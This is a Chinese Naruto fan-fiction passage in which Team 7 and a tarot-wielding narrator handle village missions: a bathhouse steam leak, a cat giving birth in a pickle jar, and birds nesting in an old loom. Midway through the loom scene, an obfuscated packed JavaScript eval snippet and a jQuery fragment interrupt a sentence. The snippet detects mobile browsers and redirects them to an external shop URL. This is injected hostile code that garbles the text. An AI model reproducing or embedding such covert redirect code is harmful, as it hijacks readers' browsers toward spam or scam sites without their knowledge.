我靠在树干上,感受着忍具包里塔罗牌渐渐平息的温热,一种混合着疲惫与成就感的暖流涌上心头,嘴角不自觉地扬起一丝浅浅的、释然的笑容。目光无意间掠过不远处的树梢,似乎瞥见一抹银发,但定睛看去,又只有摇曳的枝叶。是错觉吗?那种被注视的感觉又来了…… 任务二:澡堂宝宝、漏水危机与守护之牌 告别了千恩万谢的河野婆婆(她硬塞给每人一大包刚烤好的、散发着诱人麦香的粗粮饼,热乎乎的),第七班带着一身泥泞、麦秆屑和烤饼的香气,来到了第二个任务点——木叶村内颇有名气的“汤之屋”温泉旅店。 旅店老板娘是一位风风火火的年轻妇人,眼下有着浓重的青黑色,头发也有些凌乱,看到我们四人简直如同看到了救世主降临,双手合十连连作揖 “忍者大人们!谢天谢地你们来了!拜托了!那三个小祖宗就交给你们照看一个下午!只要一个时辰!让我去补个觉!就一个时辰!我感觉下一秒就要晕倒了!” 话音刚落,她几乎是以瞬身术般的速度,“嗖”地一下消失在通往后面休息室的门后,留下我们四人面面相觑。 榻榻米上,三个粉雕玉琢、穿着同款嫩黄色小鸭兜兜的小婴儿,正睁着乌溜溜、清澈无比的大眼睛,好奇地打量着这群突然闯入的“大玩具”。最大的那个看起来约莫一岁,正努力地想扶着墙壁站起来,两个小的估计才七八个月大,并排坐着,咿咿呀呀地互相“交流”。 “哇!好可爱啊!” 小樱的少女心瞬间被击中,脸上绽放出温柔无比的笑容,小心翼翼地凑过去,蹲下身,用最轻柔的语调打招呼 “你们好呀,小宝贝们。” “哼,麻烦的小鬼。” 佐助抱着手臂,身体略显僵硬地靠在门框上,眼神看似冷淡地投向窗外,但那偶尔飘向最安静的那个、正专注地吮吸着自己大拇指的小宝宝的视线,还是泄露了一丝不易察觉的好奇。 鸣人则挠了挠他那头标志性的金发,嘿嘿一笑,自信满满 “看我的!哄小孩我最在行了!” 他再次双手结印 “影分身之术!” 砰砰砰!三个鸣人分身应声出现。 “一人一个!上!” 鸣人本体意气风发地指挥道。三个分身立刻行动起来:一个挤眉弄眼地做起了夸张无比的鬼脸;一个拍着手,扯着五音不全的嗓子开始唱歌(调子跑得十万八千里);另一个则笨拙地扭动着身体,跳起了自创的、毫无章法的“舞蹈”。 效果……堪称“震撼”。三个宝宝先是愣愣地看着眼前这“群魔乱舞”的景象,小嘴微张。然后,最大的那个像是终于理解了这可怕的景象,小脸一皱,“哇——”的一声惊天动地地哭了出来!紧接着,像是得到了某种信号,两个小的也同时张开嘴,三重奏般嘹亮而委屈的哭声瞬间响彻整个房间,震得纸门都嗡嗡作响。 “啊啊啊!怎么哭了!别哭别哭啊!” 鸣人本体顿时慌了手脚,手忙脚乱地想去抱,又不知该从何下手。 分身们更是慌得六神无主,鬼脸做得更加扭曲恐怖,唱歌跑调得更厉害,跳舞的动作更像触电后的抽搐。 结果就是——三个宝宝哭得更加撕心裂肺,而且都神奇地、无意识地模仿着分身们脸上最扭曲的表情,小脸皱成一团,变成了三个可怜兮兮的“斗鸡眼”小哭包。 小樱气的攥拳,连忙制止的喊道 “鸣人!快解除分身!你吓到他们了!” 她赶紧上前,动作轻柔而熟练地抱起哭得最凶的老大,将他小小的脑袋靠在自己肩头,一只手稳稳地托着,另一只手轻轻地、有节奏地拍着他的背,同时哼起一首旋律优美而温柔的摇篮曲。她声音清亮柔和,带着一种奇异的安抚力量。神奇的是,在小樱歌声带来的安定感下,老大抽噎的声音渐渐小了,小脑袋靠在她肩膀上,大眼睛里还含着泪,却不再嚎啕。 佐助看着剩下两个还在抽泣不止的宝宝,以及旁边抓耳挠腮、一脸挫败的鸣人,眉头皱得更紧,周身的气压似乎都低了几分。他环顾四周,目光锐利地扫过房间角落散落着的一些彩色折纸(大概是老板娘用来哄孩子的)。 他沉默地走过去,俯身,从中抽出一张靛蓝色的纸。在鸣人和我略带惊讶的目光注视下,那双平日里用来投掷致命手里剑、结出强大火遁忍印的修长手指,此刻异常灵巧地翻折着纸片。手指翻飞,动作精准而流畅,棱角分明,带着一种近乎苛刻的完美主义。片刻之后,一艘结构精巧、甚至带着微型船舱和桅杆的纸船,稳稳地出现在他微凉的掌心。 他脸上依旧没什么表情,只是将这艘蓝色的小纸船,轻轻放在还在小声抽泣、用肉乎乎小手抹眼泪的老二面前。小婴儿的注意力立刻被这新奇而美丽的小东西吸引了,乌溜溜的大眼睛好奇地眨了眨,伸出胖乎乎的小手,咿咿呀呀地想去够。佐助又拿起一张鹅黄色的纸,这次折得更快,手指翻飞间,一艘更小但同样精致可爱的纸船递到了老三面前。 房间里,终于只剩下小樱轻柔持续的哼唱声,以及宝宝们摆弄着新玩具纸船发出的咿咿呀呀的满足声。一场啼哭风暴,似乎暂时被平息了。 我暗自松了口气,在靠近拉门的榻榻米边缘坐下,尽量降低自己的存在感。说实在的,我本身就不是特别喜欢小孩子,哭闹的孩童我更是无力解决,让我照顾,远不如小樱那样自然。 就在这时,忍具包里的塔罗牌再次散发出那种熟悉的温热感,比刚才在树下时更清晰一些。我不动声色地调整呼吸,目光看似随意地扫视着房间。 宝宝们似乎特别喜欢在榻榻米上爬来爬去,而我留意到一个有趣的细节:无论小樱把他们抱到哪个位置,过一会儿,三个小家伙总是会不自觉地朝着房间的东南角方向爬去。那里靠墙放着一个矮矮的储物柜,旁边就是通往温泉池的木质拉门。 塔罗牌的温热感在我靠近东南角时变得明显起来,像一个小小的指南针。我悄悄站起身,装作活动身体的样子走过去,在矮柜旁蹲下。 矮柜下方是实木地板,看起来平平无奇。我伸出手,指尖带着试探,轻轻拂过靠近墙角的一块地板边缘缝隙——一股微弱却异常潮湿的热气,带着淡淡的硫磺味,透过缝隙透了出来!同时,牌面的温热感骤然加强,仿佛在急促地敲打我的意识,提醒我这里有异常! “小樱,” 我轻声呼唤,尽量不惊动宝宝们 “你觉不觉得这边墙角的地板……有点湿气?还有点……热热的?” 小樱抱着已经安静睡去的老大,闻言立刻走过来,也蹲下身。她先是伸手摸了摸地板边缘,触手确实有些潮湿温热。接着,她闭上眼睛,专注地感知。 “咦?” 她惊讶地睁开眼 “真的!这下面是……温泉的地暖管道?好像有轻微的泄漏!压力在积聚!” 话音未落! “嗤——!” 一声轻微却异常刺耳的、如同高压锅泄气般的声音,猛地从墙角木质踢脚线的缝隙里爆发出来!紧接着,一股滚烫的、乳白色的水汽如同被激怒的白色巨蟒,带着灼人的高温和巨大的压力,猛地喷射而出!瞬间弥漫了整个角落! “危险!” 小樱脸色骤变,抱着怀里的孩子急速后退! 佐助的反应最快!几乎是声音响起的刹那,他身影一闪,如同黑色的闪电,瞬间挡在了还在爬着玩纸船的老二老三身前!苦无已然下意识地握在手中,冰冷的锋芒对准了喷涌的蒸汽。然而,面对这种无形的、高温高压的气体攻击,苦无显得如此苍白无力! 离得最近的鸣人,看到那致命的热气直冲两个毫无防备的小宝宝,脑子“嗡”地一片空白,热血瞬间冲顶!他根本来不及思考,只凭着本能,大叫一声 “小心!” 整个人就朝着蒸汽喷口的方向猛扑过去,试图用自己的身体挡住那滚烫的气流!这无异于螳臂当车! 就在这千钧一发之际! 我忍具包里的塔罗牌仿佛是忍不下去了!猛地挣脱了束缚,“嗖”地一声自动滑出!那张描绘着『太阳』图案的牌,如同被无形的丝线牵引,瞬间化作一道金色的流光,精准无比地飞射到了喷涌而出的滚烫水汽正前方! 不可思议的一幕发生了! 喷薄而出的高温水汽在接触到暗金色牌面的瞬间,仿佛撞上了一堵无形却坚韧无比的空气墙!灼热的蒸汽发出“滋滋滋”的刺耳声响,以肉眼可见的速度迅速凝结、液化! 一层薄薄的水膜在牌面上瞬间形成,并不断扩大、增厚,如同一个微型的、不断被狂暴水流冲击却岿然不动的透明瀑布屏障!硬生生地将那足以烫伤甚至致命的蒸汽和大部分滚烫的热水挡了下来!房间里瞬间弥漫开浓重的水雾,视线一片模糊。 “鸣人!快!堵住裂口!” 我几乎是吼出来的,心脏狂跳不止。 被水雾喷了一脸、烫得龇牙咧嘴嗷嗷叫的鸣人瞬间被吼醒!他看到被神奇屏障暂时阻挡住、但依旧顺着地板汹涌蔓延的热水,以及那不断嘶吼的蒸汽喷口。 他手忙脚乱,情急之下,一把扯下自己头上的木叶护额,也顾不上什么忍者标志的尊严了,将带有冰凉金属片的护额带子死死缠绕在喷水口附近暴露出来的一小段管道上(管道因墙板破损而露了出来),试图用蛮力勒紧止漏!滚烫的金属带子接触皮肤,发出“嗤”的轻响,烫得他倒吸冷气,却咬紧牙关不松手。 “绷带!小樱!用绷带!” 我再次喊道,声音因紧张而有些嘶哑。 小樱瞬间明白了!她飞快地将熟睡的老大放到安全的角落,从随身携带的小包中掏出一大卷干净的医疗绷带,冲到旁边给宝宝准备的凉水壶旁,迅速将绷带浸透冰凉的清水,然后冲到鸣人身边递给他 “快!缠上去!缠紧!湿的能降温还能塑形!” 鸣人接过湿漉漉、沉甸甸的绷带,一层层、一圈圈,用尽全力紧紧缠绕在被护额带子勒住的管道裂口上!滚烫的金属管道遇到冰凉的湿绷带,发出更加剧烈的“嗤嗤嗤”声响,大量白色的蒸汽升腾而起,房间里雾气更浓。绷带以肉眼可见的速度被迅速烘干、硬化,竟真的在鸣人惊人的蛮力和小樱指导的专业缠绕技巧下,暂时封堵住了那道狰狞的裂口!致命的喷射变成了可控的涓涓细流。 挡在最前方的塔罗牌,“啪嗒”一声轻响,光芒尽敛,如同耗尽了所有力量般掉落在潮湿的地板上,最后消散,我伸出手摸着自己包里的那个塔罗,发现它早已回归原位,仿佛刚才的一切都没有发生。 老板娘被巨大的动静惊动,脸色惨白地冲了进来,看到一片狼藉的水雾弥漫的房间、安然无恙被佐助一手一个护在怀里(姿势依旧僵硬)的老二老三、被小樱护在角落的老大,还有浑身湿透狼狈不堪、手臂被烫得通红的鸣人,以及同样湿漉漉、脸色有些发白的我,后怕得连连鞠躬道歉,声音都带着哭腔。 佐助抱着两个不哭不闹、反而好奇地伸出小手抓挠他黑色头发和衣领的宝宝,身体僵硬得像两尊石像,脸上依旧没什么表情,只是那双漆黑的眼眸,深深地、复杂地看了一眼湿漉漉的我,眼底深处似乎掠过一丝极难捕捉的探究与……疑虑? 就在这时,门口光线一暗,卡卡西不知何时倚在了门框上,手里依旧拿着那本《亲热天堂》,但他露出的那只右眼,目光锐利如针,正牢牢地锁定在我身上,仿佛要将我看穿。那目光带着审视,带着一丝难以言喻的沉重,让我感到一阵莫名的心悸和寒意,下意识地避开了他的视线。卡卡西什么也没说,只是抱着胸,沉默地注视着这一切,那沉默本身,就带着巨大的压力…… 任务三:酸菜缸中的新生与无声的暖意 因为“汤之屋”的蒸汽喷泉意外,我们获得了半天休整时间。鸣人的手臂和手背被烫出了明显的红痕,甚至起了几个小水泡,疼得他龇牙咧嘴。然而他身体的恢复速度却快得惊人,仅仅过了一夜,红肿就消了大半,水泡也瘪了下去,只留下淡淡的红印。小樱一边帮他重新包扎,一边啧啧称奇:“鸣人,你这恢复力也太变态了!”鸣人得意地嘿嘿直笑,露出闪亮的白牙:“那当然!我可是要成为火影的!”我看着他手臂上迅速消退的伤痕,只有我知道是原因是为什么。 第二天清晨,休整好的第七班来到了以“食”为豪的秋道一族的族地。丁次不在家,接待我们的是丁次那对体型同样丰满、笑容憨厚温和的父母。 秋道夫人愁眉苦脸,双手在围裙上无意识地搓着 “真是麻烦你们跑一趟了,我家那口祖传的、专门用来腌酸菜的大缸,昨天还好端端地放在厨房角落呢,今天早上起来就不见了!那可是我婆婆的婆婆传下来的老物件了,釉色都是独一无二的,意义重大啊……” 厨房里确实留下了一个清晰的、圆形的印痕,周围散落着一些干涸的泥点。鸣人立刻拍着胸脯,信心爆增 “交给我吧!找东西我最拿手了!” 他迅速结印 “影分身之术!” 十几个鸣人同时出现,下一刻又跑向各个角落里,分身们嗷嗷叫着冲出院门,如同猎犬般四处嗅探。不到十分钟,外面就传来一阵鸡飞狗跳的喧闹、犬吠,以及鸣人本体气急败坏的惨叫 “哇!别追我!我只是闻着酸菜味找缸!不是偷吃你们晾的鱼干啊!喂!松口!我的裤子!” 显然,他那堪比野兽的敏锐嗅觉虽然锁定了方向,却也惹怒了附近几条脾气暴躁的看家护院狗。 佐助没有理会外面的喧嚣闹剧。他径直走进厨房,在那个圆形的印痕旁沉稳地蹲下,目光如同最精密的扫描仪,一寸寸地检视着痕迹的边缘、纹理、拖拽的细微方向。印痕边缘有些模糊的、仿佛被重物拖动的痕迹,但非常轻微,不像是从大门拖出去的。 他站起身,目光冷静地扫过厨房门框的高度、窗户的大小,又走到院子里,在阳光下仔细观察。他的视线最终定格在厨房窗户对着院子的一面,窗棂下方一处极其细微、几乎看不见的釉质反光点上,那颜色和秋道家描述的老缸釉色非常相似。 “不是从门出去的。” 佐助清冷的声音打破了厨房的安静,带着不容置疑的笃定 “缸的高度超过门楣,如果强行拖拽,门槛上必然留下明显的刮痕和磨损。但门槛很干净。” 他修长的手指指向窗棂上那个细微的反光点 “这里有被硬物轻微刮蹭留下的釉质残留。方向是向上。” 他抬起头,目光投向厨房上方那个小小的、仅供通风换气的阁楼气窗。 “是被某种力量不大、动作断续的东西,从厨房内部搬运到了阁楼。” 秋道夫妇惊讶地看着佐助,连连点头 “对对对!我们昨晚还用了缸腌新菜呢!门窗都锁得好好的!早上起来缸就不见了!太奇怪了!” 我也在厨房角落仔细寻找着线索。蹲在散落着一些腌菜时掉落的碎屑的地方,几只棕黑色的蚂蚁正忙碌地搬运着一些看起来比较湿润、微微泛着点奇异油亮光泽的酸菜屑,排成一条细线,朝着院子角落移动。 忍具包里的塔罗牌再次传来了温暖的触感,这次的暖意非常柔和,像一只无形的手在轻轻牵引。我顺着蚂蚁搬运的路线,走到院子角落一个堆放杂物的旧木棚边。蚂蚁的巢穴入口就在木棚角落的地砖缝隙里。 而塔罗牌的温热感,则清晰地指向了木棚深处,一个被破旧草席和几个空箩筐盖着的、布满灰尘的木质暗门——那是一个通向地窖的入口。 “叔叔阿姨,” 我指着那个被杂物掩盖的暗门 “能打开这里看看吗?我感觉……下面可能有东西。” 秋道先生一脸疑惑,但还是依言搬开了箩筐和草席,露出了下面沉重的木质暗门。他用力拉开,一股浓郁的、混合着陈年酸菜发酵的独特酸香、潮湿泥土的土腥味,以及一丝……若有若无的奶腥味的怪异气息扑面而来。一道狭窄的木梯通向下方漆黑的地窖。 佐助不知何时点亮了一个小火折(忍者必备),橘黄色的火苗跳跃着,驱散了一小片黑暗。他没有任何犹豫,率先走了下去,动作轻捷无声。小樱和我紧随其后。鸣人也终于摆脱了野狗的“热情”追击,顶着一头乱草和几个清晰的狗牙印,气喘吁吁地跑了进来,跟着下了地窖。 火折有限的光芒照亮了地窖深处的一个角落。失踪的巨大酱釉酸菜缸赫然立在那里!釉面在火光下泛着温润的光泽。但更令人惊讶的是,缸里铺着厚厚的、柔软干燥的稻草,一只体型颇为壮硕、毛色油亮的虎斑猫正警惕地蜷缩在里面,琥珀色的瞳孔在火光中收缩成一条细线。 它的身下,几只刚出生不久、眼睛还没睁开、像小老鼠一样蠕动着、发出细弱“咪咪”叫声的小猫崽正挤在一起取暖。猫妈妈的肚子还微微鼓起,身体紧绷,喉咙里发出威胁的低吼,但能看出它非常虚弱,似乎生产并未结束。 “啊!原来是被猫妈妈当产房了!” 秋道夫人惊呼出声,随即又心疼地看着缸里被弄得一塌糊涂的酸菜 “哎呀,这缸里腌的可是今年的新酸菜,这下全毁了……” “喵呜……呜……” 猫妈妈的叫声透着极度的虚弱、痛苦和护崽的焦虑。 小樱立刻上前一步,她的查克拉感知最为敏锐,脸色凝重 “不好!猫妈妈体力严重透支,气息很弱!而且……还有一只小猫卡住了,是难产!” 她毫不犹豫地撸起袖子,小心翼翼地靠近,声音放得极其轻柔,带着安抚的力量 “乖,别怕,我们是来帮你的,不会伤害你和宝宝……” 她掌心再次泛起柔和的查克拉光芒,如同温暖的溪流,缓缓笼罩向虚弱的母猫。 我看着稻草堆里瑟瑟发抖的猫妈妈和那几只微弱蠕动的、似乎随时会失去温度的小生命,地窖里阴冷潮湿的空气让人不适。心中一动,我下意识的掏出了忍具包里的塔罗牌。此刻牌面不再发热,反而触手温润,像一块暖玉。我试探着,将这张散发着奇异温热的牌,轻轻放在冰凉的大缸口边缘,靠近猫妈妈头部的方向。 神奇的事情再次发生。以塔罗牌为中心,一股温暖而不灼热的气流如同涟漪般缓缓散发开来,迅速驱散了缸口附近的阴冷湿气,将缸内铺着干草的区域温柔地笼罩在一个舒适、恒温的小环境中!猫妈妈紧绷的身体以肉眼可见的速度放松了一些,喉咙里的低吼声停止了,看向我的眼神也少了许多敌意,甚至带着一丝微弱的依赖。 “好暖和……” 小樱也清晰地感受到了这股驱散寒意的暖流,她惊喜地看了我一眼,眼中充满了感激和好奇。在这股温暖和查克拉的双重安抚与协助下,小樱的动作更加轻柔而自信。 她小心翼翼地帮助着虚弱的猫妈妈,手法专业而充满耐心。很快,伴随着一声微弱的“咪”声,最后一只湿漉漉的小猫崽也顺利诞生了!猫妈妈疲惫至极,却终于安心下来,开始温柔地舔舐着自己所有的孩子,发出满足的呼噜声。 秋道夫妇看着这温馨而充满生命力的一幕,之前对酸菜被毁的懊恼早已烟消云散。秋道先生爽朗地大手一挥,笑声洪亮 “哈哈!看来这口老缸跟这小猫一家有缘!酸菜算什么,回头再做就是!这缸啊,就送给猫妈妈当新家吧!地窖暖和又安静,正合适!” 秋道夫人更是笑眯眯地端出一大盘特制的、做成可爱猫爪形状的酸菜米团子,热情地招呼 “来来来,辛苦各位小忍者了!快尝尝我们秋道家的点心!这可是用秘方腌的酸菜做的馅,不咸,酸甜可口,开胃得很!” 众人围坐在地窖入口温暖的阳光里(里面留给猫一家安静休息),分享着这份独特的美味。猫爪团子外皮软糯,内馅酸甜爽口,带着独特的发酵香气,果然美味。我收回塔罗牌,我看着地窖口隐约透出的温暖光晕,听着里面细微的猫叫,感受着指尖团子的温热和酸甜滋味在舌尖化开,一种平凡却无比踏实的满足感,如同地窖里升腾的暖意,油然而生。 任务四:织布机的安眠曲与月光下的迁徙 告别了秋道家弥漫着酸菜清香和新生猫崽奶味的温馨小院,午后,第七班来到了村子边缘一座极其安静的和式院落。推开吱呀作响、带着岁月痕迹的木门,空气中立刻弥漫开淡淡的樟脑防虫味和经年累月浸润的棉线气息,宁静得仿佛时间在这里流淌得格外缓慢。 屋内光线略显昏暗,只有角落那台巨大、古朴得如同艺术品的古董织布机前,点着一盏如豆的小油灯。一位身形佝偻、白发稀疏的老婆婆——千代婆婆,正颤巍巍地试图将一根断掉的、细如发丝的经线重新穿回光滑的骨制梭子里,布满老年斑的手抖得厉害,浑浊的眼睛里满是焦躁和深深的无奈。 “婆婆,您好,我们是木叶的忍者,受委托来帮您检修织布机的。” 小樱上前一步,微微躬身,声音放得比平时更加轻柔,带着十足的敬意。 “哦…哦…麻烦你们了,小姑娘。” 千代婆婆抬起头,声音沙哑干涩,像是许久未上油的齿轮 “这老伙计啊,跟了我一辈子,昨天还好好的,梭子走得又稳又顺。可今天就邪了门了,总是卡线,咯噔咯噔响,怎么弄都弄不好……唉……” 她布满皱纹的脸上写满了无助。 鸣人好奇地凑到那台几乎和他一样高的巨大织布机前,复杂的木质结构、密密麻麻的经线纬线,在他眼中如同一个沉默而神秘的怪异 “这有什么难的!看我的!影分身之术!” 砰砰砰!三个鸣人分身出现。 分身们立刻围着织布机转悠起来,东摸摸框架,西拉拉垂下的综线,其中一个好奇宝宝分身,看到一根垂下的线头,想也没想就伸手用力一拽—— “咔嚓!哗啦啦——!” 一阵令人牙酸的木头剧烈摩擦声和线轴疯狂滚动的声音骤然响起!原本只是局部卡线的织布机,瞬间彻底乱成了一团巨大无比的彩色线团!无数经线纬线疯狂地纠缠、打结、缠绕!骨梭“啪嗒”一声掉在地上,几个分身猝不及防,瞬间被乱舞的彩色棉线缠住了手脚和身体,像几只莽撞地撞进巨大蜘蛛网的笨鸟,徒劳地挣扎着,发出“啊啊啊救命”的哀嚎。 “鸣——人——!” 小樱的怒吼瞬间爆发,几乎掀翻了屋顶的瓦片,粉色的拳头捏得咯咯作响,额头迸出清晰的十字路口! 鸣人本体吓得一缩脖子,赶紧解除了分身。白烟散去,留下的是比之前更加混乱、更加难以收拾的巨大线团灾难现场!千代婆婆看着自己珍视了一辈子的“老伙计”变成这样,嘴唇哆嗦着,浑浊的眼泪在眼眶里打转。 佐助无声地走到织布机旁,完全无视了鸣人造成的“灾难现场”。他先将整个织布机从各个角度仔细审视了一遍,目光锐利如鹰隼,仿佛能穿透木质结构看到内部的核心。 然后,他弯下腰,捡起掉在地上的骨梭。梭子边缘有一道非常明显的、深深的磨损凹槽,几乎将它割裂。他又仔细检查了控制经线上下运动的综框连接处的榫卯、脚踏板的杠杆结构、以及传递动力的木质齿轮组啮合情况。 “长期使用导致榫卯松动,齿轮咬合发生偏移,梭子轨道变形磨损。” 佐助的声音平静无波,像在陈述一个纯粹的客观事实。他解下腰间的苦无,在鸣人和我略带惊讶的目光中(鸣人更是瞪大了眼),他并没有将苦无当作武器挥舞,而是像一位经验老道的匠人,将它变成了最精密的刻刀和锉子。 只见他左手稳稳地扶住松动的综框连接处,右手苦无那锐利无比的尖端,精准地探入木质榫头与卯眼磨损的缝隙中。他的手腕以极其细微、肉眼几乎难以察觉的幅度高速抖动着、切削着。 细碎的木屑如同被驯服的雪花般簌簌落下,带着松木特有的清香。不过片刻功夫,一个原本磨损变形、导致框架晃动的卯眼,就被他重新修整得光滑方正,严丝合缝。接着,他又拿起那个带着深深凹槽的骨梭,苦无的刃口沿着凹槽边缘小心地刮削、打磨,去掉毛刺,重塑出流畅的弧形轨道。 他的动作行云流水,带着一种近乎艺术性的专注力,仿佛不是在修理机器,而是在进行精密的雕刻。午后斜阳透过古老的纸窗,落在他低垂的眼睫上,甚至能看到上面沾了一点点被动作带起的、细小的白色棉絮,柔和了他冷硬的侧脸线条。 千代婆婆看得呆住了,浑浊的眼睛里闪烁着难以置信的光芒,喃喃道 “好…好手艺…比我年轻时…手最稳当的时候…还要稳当啊……” 我也在仔细观察着这台饱经风霜的机器。一个细节引起了我的注意: 每当织布机在未被破坏前发出“咯噔”异响卡住时,总会有几根细小的、闪烁着微弱幽蓝色泽的羽毛,从机器复杂的木质结构缝隙里轻轻飘落下来。忍具包里的塔罗牌适时地传来一阵温热,同时,我的视野仿佛被无形地放大、聚焦——清晰地“看”到那些羽毛的根部,竟然附着着一些极其微小的、半透明的、如同菌丝般的奇异物质! “婆婆,” 我指着地上几根刚飘落的、泛着梦幻蓝光的羽毛 “您最近有在屋子附近,或者这织布机周围,看到过带着这种蓝色羽毛的鸟吗?” 千代婆婆眯起眼睛,仔细辨认了一下,恍然大悟 “哦!你说‘睡睡鸟’啊?有的有的!前阵子有好几只常在屋檐下叫唤,那叫声啊,细细柔柔的,怪好听的,像催眠曲,听着听着人就犯困。不过这几天好像没怎么听到了?大概是飞走了?” 塔罗牌的温热感,如同一个精准的指针,坚定地指向了织布机顶部靠近房梁的一个极其隐蔽、被厚重灰尘和蛛网覆盖的角落。 我搬来一张小凳子,小心地踩上去,踮起脚尖,探头朝那个昏暗的夹角看去——在织布机巨大的顶梁与古老房梁的夹角深处,竟然用细密的、闪烁着幽蓝光泽的绒毛、散落的白色棉絮以及断掉的彩色棉线,精心筑着一个温暖而隐秘的小巢! 巢里蜷缩着三只羽毛还没长全、闭着眼睛、微微颤抖的雏鸟,旁边还有两枚小小的、蛋壳上带着奇异蓝斑的鸟蛋!而鸟妈妈,一只通体覆盖着梦幻般幽蓝羽毛、体型只有成年人巴掌大的小鸟,正警惕地站在巢边,小小的黑眼睛紧张地盯着我这个不速之客,发出短促而焦急的“啾啾”声。 谜底揭晓了!织布机每次运作时产生的震动和噪音,严重惊扰了在这绝对隐秘处筑巢的“睡睡鸟”。 鸟妈妈为了保护自己脆弱的巢穴和幼崽,本能地用小小的身体去阻挡它认为有威胁的活动部件(比如飞速穿梭的梭子轨道),或者试图用尖喙去啄断那些让它感到不安的、绷紧的丝线,这才导致了频繁的卡线、梭子磨损以及那些飘落的蓝色羽毛!羽毛根部附着的“菌丝”,其实是雏鸟的柔软胎毛和鸟妈妈筑巢时从某种特殊植物上采集的、具有轻微粘性和保温作用的纤维。 “原来是小鸟在捣蛋啊!” 鸣人恍然大悟,随即又苦恼地挠着头发 “那怎么办?总不能把鸟窝端了吧?小鸟好可怜!还没长大呢!” 小樱看着那小小的鸟巢和脆弱的生命,心也软得一塌糊涂 “是啊,婆婆,它们只是在这里安家,不是故意的……” 千代婆婆布满皱纹的脸上露出了无比慈祥的笑容,她看着那个小小的蓝色鸟巢,眼神温柔得像在看自己的孩子“没事,没事,让它们安心住着吧。老家伙(她爱怜地拍了拍织布机厚重的框架)停了几天不打紧,等小鸟长大,翅膀硬了,能飞走了就好。” 她的话语里充满了对生命的包容与慈爱。 但问题依旧存在。只要织布机一开动,那不可避免的震动和噪音,必然会让护崽心切的鸟妈妈陷入持续的恐慌,雏鸟的安全也无法得到保障。强行驱赶或移巢,对这么小的雏鸟来说风险极大。 就在大家看着那脆弱的鸟巢一筹莫展之际,我看着手中再次变得温热的塔罗牌,又抬头看了看窗外渐渐西斜的落日和即将升起的月亮轮廓,心中忽然闪过一个大胆的想法。我记得在养伤期间翻阅的《忍界奇兽志》里提到过,这种鸟是夜行性的,对月光和特定的声音频率非常敏感。 “鸣人,佐助,能帮我个忙吗?” 我深吸一口气,将自己的计划快速说了出来。 鸣人眼睛瞬间亮了,摩拳擦掌 “哈哈!包在我身上!保证完成任务!” 他再次结印,这次只分出了两个分身。两个分身对视一眼,同时开始结印——不是战斗忍术,而是变身术!砰!一阵白烟过后,原地出现了两只……体型臃肿得如同圆球、羽毛凌乱炸开、眼神呆滞茫然的“母夜莺”!那滑稽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575530|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可笑的模样,让小樱忍不住“噗嗤”一声笑了出来,连佐助那万年不变的冰山脸,嘴角都几不可察地向上抽动了一下,似乎强忍着某种情绪。 两只“胖母鸟”笨拙地扑腾着翅膀(更像是在原地蹦跳),发出怪腔怪调、模仿得极其蹩脚的“咕咕啾啾”声,跌跌撞撞地朝着我们事先打开的窗户飞去。这动静果然立刻吸引了鸟妈妈的注意! 它焦急万分地在巢边踱着小碎步,看看巢里的孩子,又看看窗外那两只行为怪异却散发着“同类”气息(变身术的查克拉模拟)的“胖鸟”,发出更加急促不安的鸣叫。 与此同时,我深吸一口气,将全部精神集中在手中的塔罗牌上,尤其牌面上那轮象征『月亮』的图案。我走到窗边,将牌面轻轻举起,对准窗外天幕上那轮刚刚升起、清辉初洒的皎洁明月。 集中精神,努力想象着月光被汇聚、被引导……奇妙的事情发生了!牌面仿佛变成了一面微小的、无形的凹面镜,一道柔和而清晰、带着梦幻般银色光晕的光柱,竟然真的从牌面上投射出来!光柱精准地落在了窗外不远处一棵枝叶繁茂的樱花树最粗壮、最平稳的枝杈上,形成一个明亮而稳定的圆形光斑区域,如同一个专为鸟儿准备的、散发着安全信号的月光舞台!这并非实体光线,更像是一种引导性的查克拉幻象,却无比真实。 佐助立刻明白了我的用意。他指尖微动,一道细若游丝、几乎看不见的查克拉线(非攻击性,仅做最轻柔的牵引)无声地射出,如同最灵巧的蜘蛛丝,精准地缠绕住樱花树上一根柔韧的细枝末端。 他手腕极其轻微地一抖,那根细枝被无声地拉弯、压低,正好悬停在月光光斑区域的下方,形成了一个天然的、避风且平稳的小平台,如同一个现成的、完美的鸟巢基座! 窗外的动静和那处奇异而充满吸引力的月光“安全区”,让鸟妈妈内心的天平剧烈摇摆。它焦急地在狭窄的巢边来回踱步,发出短促的鸣叫。 最终,对雏鸟安全的担忧压倒了对陌生环境的恐惧。它发出一声清越而决然的鸣叫,振起幽蓝的翅膀,如同一道蓝色流光般飞出窗外!它在月光光斑照耀的树枝平台上空来回盘旋,小脑袋警惕地转动着,似乎在反复确认那里的安全性和那两个“胖同类”的意图。两只鸣人变的“胖母鸟”适时地(尽管动作依旧笨拙滑稽)落在平台附近,用走调的“啾啾”声发出“友好”的邀请。 鸟妈妈终于下定了决心!它迅速飞回织布机顶的旧巢中,小心翼翼地叼起一只雏鸟,又闪电般冲出窗户,稳稳地将孩子安置在了新的、沐浴在清冷月华下的安全平台上!它没有丝毫停歇,如此往返数次,动作快如闪电。很快,三只雏鸟和两枚珍贵的鸟蛋都被安全转移到了樱花树的新家!两只“胖母鸟”功成身退,“砰”地解除变身。 “成功了!” 小樱激动地低声欢呼,双手合十。 鸣人本体解除了变身术,一屁股坐在地上,夸张地抹着额头不存在的汗 “呼……变鸟飞来飞去比跟佐助打一架还累啊!” 佐助也无声地收回了查克拉线。他站在窗边,静静地看着樱花树上,在皎洁月光下依偎在母亲温暖羽翼中的小小蓝色身影。清冷的月光落在他漆黑的眼眸里,似乎有什么坚冰般的东西,被这温馨的画面悄然融化了一丝,映出一点几不可察的柔和星光。 放下有些微微发烫的塔罗牌,千代婆婆感激地握住了我的手,又看向佐助,布满皱纹的手轻轻抚摸着被他修复得光滑如新、仿佛焕发了生机的骨梭,声音哽咽 “谢谢,谢谢你们,孩子们……这样真好,老伙计能动了,小鸟也有安稳的新家了……真好……” 